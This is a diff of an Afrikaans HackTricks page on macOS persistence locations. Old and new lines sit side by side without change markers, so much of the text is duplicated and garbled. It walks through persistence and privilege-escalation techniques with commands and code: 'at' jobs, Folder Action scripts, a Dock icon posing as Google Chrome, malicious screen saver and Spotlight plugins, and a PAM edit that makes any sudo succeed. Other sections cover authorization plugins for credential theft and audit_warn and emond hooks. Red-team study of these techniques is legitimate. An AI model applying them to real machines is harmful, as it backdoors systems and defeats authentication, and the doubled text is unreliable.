* `???`
Dit maak dit moontlik om werksvloei te skep wat kode kan uitvoer wanneer sekere voorwaardes bereik word. Potensieel is dit moontlik vir 'n aanvaller om 'n werksvloei-lêer te skep en Alfred te laat dit laai (dit is nodig om die premie weergawe te betaal om werksvloei te gebruik).
Dit maak dit moontlik om werksvloei te skep wat kode kan uitvoer wanneer sekere voorwaardes bereik word. Potensieel is dit moontlik vir 'n aanvaller om 'n werksvloei-lêer te skep en Alfred te maak om dit te laai (dit is nodig om die premie weergawe te betaal om werksvloei te gebruik).
### SSHRC
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
* Nuttig om sander te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Maar ssh moet geaktiveer en gebruik word
* TCC omseiling: [](https://emojipedia.org/check-mark-button)
* SSH gebruik om FDA-toegang te hê
@ -620,7 +621,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
* **`~/.ssh/rc`**
* **Trigger**: Aanteken via ssh
* **`/etc/ssh/sshrc`**
* Wortel nodig
* Root benodig
* **Trigger**: Aanteken via ssh
{% hint style="danger" %}
@ -679,7 +680,7 @@ As jy 'n **ZIP**-lêer as 'n **Aanmeldingsitem** stoor, sal die **`Archive Utili
### By
Beskrywing: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.github.io/beyond/beyond\_0014/)
* Nuttig om sandput te omseil: [](https://emojipedia.org/check-mark-button)
* Maar jy moet **`at`** **uitvoer** en dit moet **geaktiveer** wees
@ -693,7 +694,7 @@ Beskrywing: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilb
`at` take is ontwerp vir **skedulering van eenmalige take** om uitgevoer te word op sekere tye. Anders as cron take, word `at` take outomaties verwyder na uitvoering. Dit is noodsaaklik om te let dat hierdie take volhoubaar is oor stelselherlaaiers, wat hulle potensiële sekuriteitskwessies onder sekere omstandighede maak.
Standaard is hulle **uitgeskakel** maar die **root** gebruiker kan **hulle aktiveer** met:
Standaard is hulle **uitgeschakel** maar die **root**-gebruiker kan **hulle aktiveer** met:
```bash
sudo launchctl load -F /System/Library/LaunchDaemons/com.apple.atrun.plist
```
@ -701,13 +702,13 @@ Dit sal 'n lêer skep binne 1 uur:
```bash
echo "echo 11 > /tmp/at.txt" | at now+1
```
Kontroleer die werksversameling met behulp van `atq:`
Kontroleer die werksopdrag ry met behulp van `atq:`
```shell-session
sh-3.2# atq
26 Tue Apr 27 00:46:00 2021
22 Wed Apr 28 00:29:00 2021
```
Bokant kan ons twee geskeduleerde take sien. Ons kan die besonderhede van die taak afdruk deur `at -c JOBNOMMER` te gebruik.
Bokant kan ons twee geskeduleerde take sien. Ons kan die besonderhede van die taak afdruk deur `at -c JOBNUMMER` te gebruik.
```shell-session
sh-3.2# at -c 26
#!/bin/sh
@ -755,7 +756,7 @@ Die lêernaam bevat die tou, die taaknommer, en die tyd wanneer dit geskeduleer
* `a` - dit is die tou
* `0001a` - taaknommer in heksadesimaal, `0x1a = 26`
* `019bdcd2` - tyd in heksadesimaal. Dit verteenwoordig die minute sedert die epog. `0x019bdcd2` is `26991826` in desimaal. As ons dit met 60 vermenigvuldig, kry ons `1619509560`, wat `GMT: 2021. April 27., Dinsdag 7:46:00` is.
* `019bdcd2` - tyd in heksadesimaal. Dit verteenwoordig die minute wat verloop het sedert die epog. `0x019bdcd2` is `26991826` in desimaal. As ons dit met 60 vermenigvuldig, kry ons `1619509560`, wat `GMT: 2021. April 27., Dinsdag 7:46:00` is.
As ons die taaklêer druk, vind ons dat dit dieselfde inligting bevat as wat ons met `at -c` gekry het.
@ -769,10 +770,10 @@ Writeup: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-89
* TCC omseiling: [🟠](https://emojipedia.org/large-orange-circle)
* Dit het basiese TCC-toestemmings soos Skermblad, Dokumente en Aflaaibare lêers
#### Plek
#### Ligging
* **`/Library/Scripts/Folder Action Scripts`**
* Root benodig
* Wortel vereis
* **Trigger**: Toegang tot die gespesifiseerde vouer
* **`~/Library/Scripts/Folder Action Scripts`**
* **Trigger**: Toegang tot die gespesifiseerde vouer
@ -783,9 +784,9 @@ Voueraksies is skripte wat outomaties geaktiveer word deur veranderinge in 'n vo
Om Voueraksies op te stel, het jy opsies soos:
1. 'n Voueraksie-werkvloei met [Automator](https://support.apple.com/guide/automator/welcome/mac) saam te stel en dit as 'n diens te installeer.
2. 'n skrip handmatig aan te heg via die Voueraksies-opstelling in die konteksmenu van 'n vouer.
3. OSAScript te gebruik om Apple Event-boodskappe na die `System Events.app` te stuur vir die programmatiese opstel van 'n Voueraksie.
1. Die skep van 'n Voueraksie-werkvloei met [Automator](https://support.apple.com/guide/automator/welcome/mac) en dit installeer as 'n diens.
2. 'n Skrip handmatig aan te heg via die Voueraksies Opstelling in die konteksmenu van 'n vouer.
3. Die gebruik van OSAScript om Apple Event-boodskappe na die `System Events.app` te stuur vir die programmatiese opstel van 'n Voueraksie.
* Hierdie metode is veral nuttig om die aksie in die stelsel in te bed, wat 'n vlak van volharding bied.
Die volgende skrip is 'n voorbeeld van wat deur 'n Voueraksie uitgevoer kan word:
@ -816,9 +817,9 @@ Voer die opstellingskrip uit met:
```bash
osascript -l JavaScript /Users/username/attach.scpt
```
* Hierdie is die manier om volhoubaarheid te implementeer via GUI:
* Hier is die manier om hierdie volharding via GUI te implementeer:
Dit is die skrips wat uitgevoer sal word:
Hierdie is die skrip wat uitgevoer sal word:
{% code title="source.js" %}
```applescript
@ -863,11 +864,11 @@ Nou dat ons 'n leë omgewing het
En dit het nie vir my gewerk nie, maar dit is die instruksies van die skrywe:(
{% endhint %}
### Dock-afkortings
### Dock-aanwysers
Skrywe: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
* Nuttig om sandboks te omseil: [](https://emojipedia.org/check-mark-button)
* Nuttig om sandput te omseil: [](https://emojipedia.org/check-mark-button)
* Maar jy moet 'n skadelike aansoek binne die stelsel geïnstalleer hê
* TCC-omseiling: [🔴](https://emojipedia.org/large-red-circle)
@ -892,7 +893,7 @@ killall Dock
```
{% endcode %}
Deur van **sosiale ingenieurswese** gebruik te maak, kan jy byvoorbeeld as Google Chrome **impersoneer binne die dok en werklik jou eie skripsie uitvoer:**
Deur van **sosiale ingenieurswese** gebruik te maak, kan jy byvoorbeeld as Google Chrome voorgee binne die dok en werklik jou eie skripsie uitvoer:
```bash
#!/bin/sh
@ -954,7 +955,7 @@ Skryf: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.git
* Jy sal in 'n ander sandboks eindig
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
#### Plek
#### Ligging
* `/Library/ColorPickers`
* Root benodig
@ -964,7 +965,7 @@ Skryf: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.git
#### Beskrywing & Uitbuiting
**Kompileer 'n kleurkieser** bundel met jou kode (jy kan [**hierdie een byvoorbeeld gebruik**](https://github.com/viktorstrate/color-picker-plus)) en voeg 'n konstrukteur by (soos in die [Skermbeveiliging afdeling](macos-auto-start-locations.md#screen-saver)) en kopieer die bundel na `~/Library/ColorPickers`.
**Kompileer 'n kleurkieser** bundel met jou kode (jy kan byvoorbeeld [**hierdie een gebruik**](https://github.com/viktorstrate/color-picker-plus)) en voeg 'n konstrukteur by (soos in die [Skermbeveiliging afdeling](macos-auto-start-locations.md#screen-saver)) en kopieer die bundel na `~/Library/ColorPickers`.
Dan, wanneer die kleurkieser geaktiveer word, moet jou kode ook geaktiveer word.
@ -997,15 +998,15 @@ Let daarop dat die binêre lading van jou biblioteek 'n **baie beperkende sandbo
'n Toepassingsvoorbeeld met 'n Finder Sync-uitbreiding [**kan hier gevind word**](https://github.com/D00MFist/InSync).
Toepassings kan `Finder Sync-uitbreidings` hê. Hierdie uitbreiding sal binne 'n toepassing gaan wat uitgevoer sal word. Verder moet die uitbreiding in staat wees om sy kode uit te voer, dit **moet onderteken** wees met 'n geldige Apple-ontwikkelaarsertifikaat, dit moet **gesandboks** wees (hoewel ontspanne uitsonderings bygevoeg kan word) en dit moet geregistreer wees met iets soos:
Toepassings kan `Finder Sync-uitbreidings` hê. Hierdie uitbreiding sal binne 'n toepassing gaan wat uitgevoer sal word. Verder moet die uitbreiding sy kode kan uitvoer **onderteken** wees met 'n geldige Apple-ontwikkelaarsertifikaat, dit moet **gesandboks** wees (hoewel ontspanne uitsonderings bygevoeg kan word) en dit moet geregistreer wees met iets soos:
```bash
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
pluginkit -e use -i com.example.InSync.InSync
```
### Skermbeveiliging
Uiteensetting: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
Uiteensetting: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
Writeup: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
Writeup: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy sal in 'n algemene aansoek-sandboks eindig
@ -1014,10 +1015,10 @@ Uiteensetting: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](htt
#### Ligging
* `/System/Library/Screen Savers`
* Vereis root-toegang
* Wortel vereis
* **Trigger**: Kies die skermbeveiliging
* `/Library/Screen Savers`
* Vereis root-toegang
* Wortel vereis
* **Trigger**: Kies die skermbeveiliging
* `~/Library/Screen Savers`
* **Trigger**: Kies die skermbeveiliging
@ -1028,7 +1029,7 @@ Uiteensetting: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](htt
Skep 'n nuwe projek in Xcode en kies die templaat om 'n nuwe **Skermbeveiliging** te genereer. Voeg dan jou kode daaraan toe, byvoorbeeld die volgende kode om logboeke te genereer.
**Bou** dit, en kopieer die `.saver` bondel na **`~/Library/Screen Savers`**. Maak dan die Skermbeveiliging GUI oop en as jy net daarop klik, behoort dit 'n hele klomp logboeke te genereer:
**Bou** dit, en kopieer die `.saver` bondel na **`~/Library/Screen Savers`**. Maak dan die Skermbeveiliging GUI oop en as jy net daarop klik, behoort dit baie logboeke te genereer:
{% code overflow="wrap" %}
```bash
@ -1042,7 +1043,7 @@ Timestamp (process)[PID]
{% endcode %}
{% hint style="danger" %}
Let wel daarop dat omdat binne die toekennings van die binêre lading van hierdie kode (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) jy **`com.apple.security.app-sandbox`** kan vind, sal jy **binne die algemene aansoek-sandbox** wees.
Let wel daarop dat omdat binne die toestemmings van die binêre lading van hierdie kode (`/System/Library/Frameworks/ScreenSaver.framework/PlugIns/legacyScreenSaver.appex/Contents/MacOS/legacyScreenSaver`) jy **`com.apple.security.app-sandbox`** kan vind, sal jy **binne die algemene aansoek-sandbox** wees.
{% endhint %}
Saver kode:
@ -1115,23 +1116,23 @@ NSLog(@"hello_screensaver %s", __PRETTY_FUNCTION__);
skryf op: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.github.io/beyond/beyond\_0011/)
* Nuttig om sanderige te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy sal in 'n aansoek-sanderige eindig
* Nuttig om sander te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy sal in 'n aansoek-sander eindig
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
* Die sanderige lyk baie beperk
* Die sander lyk baie beperk
#### Plek
* `~/Library/Spotlight/`
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die spotlight-inprop bestuur word, word geskep.
* `/Library/Spotlight/`
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die spotlight-inprop bestuur word, word geskep.
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de spotlight-inprop bestuur, word geskep.
* Wortel nodig
* `/System/Library/Spotlight/`
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die spotlight-inprop bestuur word, word geskep.
* Wortel nodig
* `Some.app/Contents/Library/Spotlight/`
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat deur die spotlight-inprop bestuur word, word geskep.
* **Trigger**: 'n Nuwe lêer met 'n uitbreiding wat de spotlight-inprop bestuur, word geskep.
* Nuwe aansoek nodig
#### Beskrywing & Uitbuiting
@ -1139,7 +1140,7 @@ skryf op: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit
Spotlight is macOS se ingeboude soekfunksie, ontwerp om gebruikers **vinnige en omvattende toegang tot data op hul rekenaars** te bied.\
Om hierdie vinnige soekvermoë te fasiliteer, handhaaf Spotlight 'n **eiendomlike databasis** en skep 'n indeks deur **meeste lêers te ontleden**, wat vinnige soektogte deur beide lêernaam en hul inhoud moontlik maak.
Die onderliggende meganisme van Spotlight behels 'n sentrale proses genaamd 'mds', wat staan vir **'metadata-bediener'**. Hierdie proses orkestreer die hele Spotlight-diens. Ter aanvulling hierop is daar verskeie 'mdworker'-demonne wat 'n verskeidenheid instandhoudingstake uitvoer, soos die indeksering van verskillende lêertipes (`ps -ef | grep mdworker`). Hierdie take word moontlik gemaak deur Spotlight-invoerder-inproppe, of **".mdimporter bundels**", wat Spotlight in staat stel om inhoud oor 'n diverse reeks lêerformate te verstaan en te indekseer.
Die onderliggende meganisme van Spotlight behels 'n sentrale proses genaamd 'mds', wat staan vir **'metadata-bediener'**. Hierdie proses orkestreer die hele Spotlight-diens. Ter aanvulling hierop is daar verskeie 'mdworker'-demonne wat 'n verskeidenheid instandhoudingstake uitvoer, soos die indeksering van verskillende lêertipes (`ps -ef | grep mdworker`). Hierdie take word moontlik gemaak deur Spotlight-invoerder-inproppe, of **".mdimporter bundels**", wat Spotlight in staat stel om inhoud oor 'n uiteenlopende reeks lêerformate te verstaan en te indekseer.
Die inproppe of **`.mdimporter`** bundels is geleë op die vooraf genoemde plekke en as 'n nuwe bundel verskyn, word dit binne minute gelaai (geen diens herlaaiing nodig nie). Hierdie bundels moet aandui watter **lêertipe en uitbreidings hulle kan bestuur**, op hierdie manier sal Spotlight hulle gebruik wanneer 'n nuwe lêer met die aangeduide uitbreiding geskep word.
@ -1189,12 +1190,12 @@ plutil -p /Library/Spotlight/iBooksAuthor.mdimporter/Contents/Info.plist
[...]
```
{% hint style="danger" %}
As jy die Plist van ander `mdimporter` nagaan, mag jy nie die inskrywing **`UTTypeConformsTo`** vind nie. Dit is omdat dit 'n ingeboude _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) is en dit nie nodig is om uitbreidings te spesifiseer nie.
As jy die Plist van ander `mdimporter` nagaan, mag jy nie die inskrywing **`UTTypeConformsTo`** vind nie. Dit is omdat dit 'n ingeboude _Uniform Type Identifiers_ ([UTI](https://en.wikipedia.org/wiki/Uniform\_Type\_Identifier)) is en dit hoef nie uitbreidings te spesifiseer nie.
Verder, neem stelselverstellings altyd voorrang, so 'n aanvaller kan slegs lêers benader wat nie andersins deur Apple se eie `mdimporters` geïndekseer word nie.
Verder, neem stelselverstekkers altyd voorrang, so 'n aanvaller kan slegs lêers benader wat nie andersins deur Apple se eie `mdimporters` geïndekseer word nie.
{% endhint %}
Om jou eie invoerder te skep, kan jy met hierdie projek begin: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) en dan die naam verander, die **`CFBundleDocumentTypes`** verander en **`UTImportedTypeDeclarations`** byvoeg sodat dit die uitbreiding ondersteun wat jy wil ondersteun en reflekteer dit in **`schema.xml`**.\
Om jou eie invoerder te skep, kan jy met hierdie projek begin: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) en dan die naam verander, die **`CFBundleDocumentTypes`** en **`UTImportedTypeDeclarations`** byvoeg sodat dit die uitbreiding ondersteun wat jy wil ondersteun en dit in **`schema.xml`** weerspieël.\
Verander dan die kode van die funksie **`GetMetadataForFile`** om jou lading uit te voer wanneer 'n lêer met die verwerkte uitbreiding geskep word.
Laastens **bou en kopieer jou nuwe `.mdimporter`** na een van die vorige liggings en jy kan nagaan wanneer dit gelaai word deur die **logs te monitor** of deur **`mdimport -L.`** te kontroleer.
@ -1202,13 +1203,13 @@ Laastens **bou en kopieer jou nuwe `.mdimporter`** na een van die vorige ligging
### ~~Voorkeurpaneel~~
{% hint style="danger" %}
Dit lyk nie of dit meer werk nie.
Dit lyk nie of dit nog werk nie.
{% endhint %}
Verslag: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.github.io/beyond/beyond\_0009/)
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Dit vereis 'n spesifieke gebruikeraksie
* Dit vereis 'n spesifieke gebruikersaksie
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
#### Ligging
@ -1219,12 +1220,12 @@ Verslag: [https://theevilbit.github.io/beyond/beyond\_0009/](https://theevilbit.
#### Beskrywing
Dit lyk nie of dit meer werk nie.
Dit lyk nie of dit nog werk nie.
## Root Sandboks Omseiling
{% hint style="success" %}
Hier kan jy beginliggings vind wat nuttig is vir **sandboks omseiling** wat jou toelaat om eenvoudig iets uit te voer deur dit in 'n lêer te **skryf** terwyl jy **root** is en/of ander **vreemde toestande benodig.**
Hier kan jy beginliggings vind wat nuttig is vir **sandboks omseiling** wat jou in staat stel om eenvoudig iets uit te voer deur dit **in 'n lêer te skryf** terwyl jy **root** is en/of ander **vreemde toestande benodig.**
{% endhint %}
### Periodiek
@ -1290,7 +1291,7 @@ monthly_local="/etc/monthly.local" # Local scripts
Indien jy enige van die lêers `/etc/daily.local`, `/etc/weekly.local` of `/etc/monthly.local` kan skryf, sal dit **vroeër of later uitgevoer word**.
{% hint style="warning" %}
Let daarop dat die periodieke skrip **uitgevoer sal word as die eienaar van die skrip**. As 'n gewone gebruiker die skrip besit, sal dit as daardie gebruiker uitgevoer word (dit kan bevoorregtingaanvalle voorkom).
Let daarop dat die periodieke skrip **uitgevoer sal word as die eienaar van die skrip**. As 'n gewone gebruiker die skrip besit, sal dit as daardie gebruiker uitgevoer word (dit kan bevoorregting-escalasie aanvalle voorkom).
{% endhint %}
### PAM
@ -1298,7 +1299,7 @@ Let daarop dat die periodieke skrip **uitgevoer sal word as die eienaar van die
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
* Nuttig om sandput te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy moet 'n root wees
* TCC omseiling: [🔴](https://emojipedia.org/large-red-circle)
@ -1314,7 +1315,7 @@ Kontroleer PAM-modules met:
```bash
ls -l /etc/pam.d
```
'n Volharding/privilege-escalation tegniek wat PAM misbruik is so maklik soos om die module /etc/pam.d/sudo te wysig deur die lyn aan die begin toe te voeg:
'n Volharding/privilege-escalation tegniek wat PAM misbruik is so maklik soos om die module /etc/pam.d/sudo te wysig deur die lyn aan die begin by te voeg:
```bash
auth sufficient pam_permit.so
```
@ -1329,16 +1330,16 @@ account required pam_permit.so
password required pam_deny.so
session required pam_permit.so
```
En daarom sal enige poging om **`sudo` te gebruik** werk.
En dus sal enige poging om **`sudo` te gebruik** werk.
{% hint style="danger" %}
Let daarop dat hierdie gids beskerm word deur TCC, dus is dit baie waarskynlik dat die gebruiker 'n versoek om toegang sal kry.
Let wel dat hierdie gids beskerm word deur TCC, so dit is baie waarskynlik dat die gebruiker 'n versoek vir toegang sal kry.
{% endhint %}
### Magtigingsinvoegtoepassings
Writeup: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
Verslag: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)\
Verslag: [https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65](https://posts.specterops.io/persistent-credential-theft-with-authorization-plugins-d17b34719d65)
* Nuttig om sandboks te omseil: [🟠](https://emojipedia.org/large-orange-circle)
* Maar jy moet 'n root wees en ekstra konfigurasies maak
@ -1352,7 +1353,7 @@ Writeup: [https://posts.specterops.io/persistent-credential-theft-with-authoriza
#### Beskrywing & Uitbuiting
Jy kan 'n magtigingsinvoegtoepassing skep wat uitgevoer sal word wanneer 'n gebruiker aanmeld om volharding te behou. Vir meer inligting oor hoe om een van hierdie invoegtoepassings te skep, kyk na die vorige writeups (en wees versigtig, 'n swak geskrewe een kan jou uitsluit en jy sal jou Mac van herstelmodus moet skoonmaak).
Jy kan 'n magtigingsinvoegtoepassing skep wat uitgevoer sal word wanneer 'n gebruiker aanmeld om volharding te behou. Vir meer inligting oor hoe om een van hierdie invoegtoepassings te skep, kyk na die vorige verslae (en wees versigtig, 'n swak geskrewe een kan jou buite sluit en jy sal jou Mac van herstelmodus moet skoonmaak).
```objectivec
// Compile the code and create a real bundle
// gcc -bundle -framework Foundation main.m -o CustomAuth
@ -1392,7 +1393,7 @@ security authorizationdb write com.asdf.asdf < /tmp/rule.plist
```
Die **`evaluate-mechanisms`** sal die toestemmingsraamwerk vertel dat dit 'n **eksterne meganisme vir toestemming moet aanroep**. Verder sal **`privileged`** dit laat uitvoer word deur root.
Trigger dit met:
Skakel dit aan met:
```bash
security authorize com.asdf.asdf
```
@ -1489,7 +1490,7 @@ Telkens wanneer auditd 'n waarskuwing opspoor, word die skriffie **`/etc/securit
```bash
echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
```
### Begin van Items
### Begin Items
{% hint style="danger" %}
**Dit is verouderd, so niks behoort in daardie gids gevind te word nie.**
@ -1498,12 +1499,9 @@ echo "touch /tmp/auditd_warn" >> /etc/security/audit_warn
Die **StartupItem** is 'n gids wat binne of `/Library/StartupItems/` of `/System/Library/StartupItems/` geplaas moet word. Nadat hierdie gids gevestig is, moet dit twee spesifieke lêers insluit:
1. 'n **rc-skrip**: 'n skulpskrip wat by aanvang uitgevoer word.
2. 'n **plist-lêer**, spesifiek genoem `StartupParameters.plist`, wat verskeie konfigurasie-instellings bevat.
2. 'n **plist-lêer**, spesifiek genoem `StartupParameters.plist`, wat verskeie opsetinstellings bevat.
Verseker dat beide die rc-skrip en die `StartupParameters.plist`-lêer korrek binne die **StartupItem**-gids geplaas word sodat die aanvangsproses hulle kan herken en gebruik.
{% tabs %}
{% tab title="StartupParameters.plist" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -1525,7 +1523,7 @@ Verseker dat beide die rc-skrip en die `StartupParameters.plist`-lêer korrek bi
{% tab title="superservicename" %}
### superservicename
Hierdie diens is 'n baie belangrike diens wat outomaties begin wanneer die stelsel opgestart word. Dit is noodsaaklik om hierdie diens te monitor en te verseker dat dit slegs die nodige toegang en funksionaliteit het om te voorkom dat dit misbruik word deur aanvallers.
Hierdie diens is verantwoordelik vir die uitvoering van belangrike funksies op die stelsel. Dit is belangrik om te verseker dat die diens nie misbruik word deur aanvallers om toegang tot die stelsel te verkry nie. Dit is raadsaam om die nodige maatreëls te tref om die veiligheid van hierdie diens te verseker.
{% endtab %}
```bash
#!/bin/sh
@ -1556,7 +1554,7 @@ Ek kan hierdie komponent nie in my macOS vind nie, vir meer inligting kyk na die
Skryfstuk: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
Deur Apple bekendgestel, **emond** is 'n loggingsmeganisme wat lyk of dit onderontwikkel of moontlik verlate is, maar dit bly toeganklik. Alhoewel dit nie besonders voordelig is vir 'n Mac-administrateur nie, kan hierdie obskure diens as 'n subtiel volhardingsmetode vir dreigingsakteurs dien, moontlik onopgemerk deur die meeste macOS-administrateurs.
Deur Apple bekendgestel, **emond** is 'n loggingsmeganisme wat lyk of dit onderontwikkel is of moontlik verlate is, maar dit bly toeganklik. Alhoewel dit nie besonders voordelig is vir 'n Mac-administrateur nie, kan hierdie obskure diens as 'n subtiel volhardingsmetode vir dreigingsakteurs dien, moontlik onopgemerk deur die meeste macOS-administrateurs.
Vir diegene wat bewus is van sy bestaan, is dit maklik om enige skadelike gebruik van **emond** te identifiseer. Die stelsel se LaunchDaemon vir hierdie diens soek skripte om in 'n enkele gids uit te voer. Om dit te inspekteer, kan die volgende bevel gebruik word:
```bash
@ -1734,16 +1732,17 @@ esac
* [https://github.com/cedowens/Persistent-Swift](https://github.com/cedowens/Persistent-Swift)
* [https://github.com/D00MFist/PersistentJXA](https://github.com/D00MFist/PersistentJXA)
{% hint style="success" %}
Leer en oefen AWS-hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer en oefen GCP-hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Controleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}

View file

@ -1,27 +1,28 @@
# macOS Rooi-span
# macOS Rooi-spanning
{% hint style="success" %}
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Rooi-spanningskenner (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Rooi-spanningskenner (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Ondersteun HackTricks</summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hack-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
* Kontroleer die [**inskrywingsplanne**](https://github.com/sponsors/carlospolop)!
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Deel hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
{% endhint %}
